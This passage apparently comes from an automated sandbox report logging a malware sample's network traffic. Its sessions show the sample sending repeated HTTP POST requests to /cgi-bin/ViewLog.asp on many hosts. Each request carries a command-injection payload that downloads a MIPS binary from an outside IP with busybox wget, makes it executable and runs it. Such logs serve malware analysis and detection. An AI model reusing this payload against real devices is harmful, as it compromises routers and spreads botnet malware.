                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:14.908629894 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:23.868355036 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:42.299858093 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:19.162920952 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                53192.168.2.153792485.217.204.1188080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:06.198086977 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:06.457880020 CET164INHTTP/1.1 302 Found
                                                Location: https://192.168.0.14:1443/cgi-bin/ViewLog.asp
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                54192.168.2.1536248111.230.243.5023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:06.433180094 CET219INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 32 30 3a 30 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:20:04Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                55192.168.2.155677062.219.194.428080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:06.458091021 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:06.748275042 CET765INHTTP/1.0 404 Not Found !!!
                                                Cache-Control: no-cache, no-store, must-revalidate
                                                Pragma: no-cache
                                                Content-type: text/html
                                                <html> <head> <title>404 Not Found !!!</title> </head><body><div align="center"><center><table border="1" cellspacing="0" width="100%"> <tr> <td width="100%" bgcolor="#0000A0"> <p align="center"><font color="#FFFFFF" face="Arial"> <strong>404 Not Found !!!</strong></font></td> </tr> <tr> <td width="100%" bgcolor="#F3F3F3" bordercolor="#000080" bordercolordark="#000080"> <p align="center"><font face="Times New Romain" color="#000000"> <strong>The requested URL was not found on this server.</strong></font></td> </tr></table></body></html>
                                                Data Raw:
                                                Data Ascii:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                56192.168.2.155350631.136.113.1348080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:06.881509066 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:07.452832937 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:08.572781086 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:10.812728882 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:15.420778990 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:24.380325079 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:42.299838066 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:19.162905931 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                57192.168.2.155502831.136.234.1318080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:06.881629944 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:07.452832937 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:08.572781086 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:10.812728882 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:15.420778990 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:24.380325079 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:42.299838066 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:19.162905931 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                58192.168.2.154204831.136.186.458080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:06.883033037 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:07.452824116 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:08.604873896 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
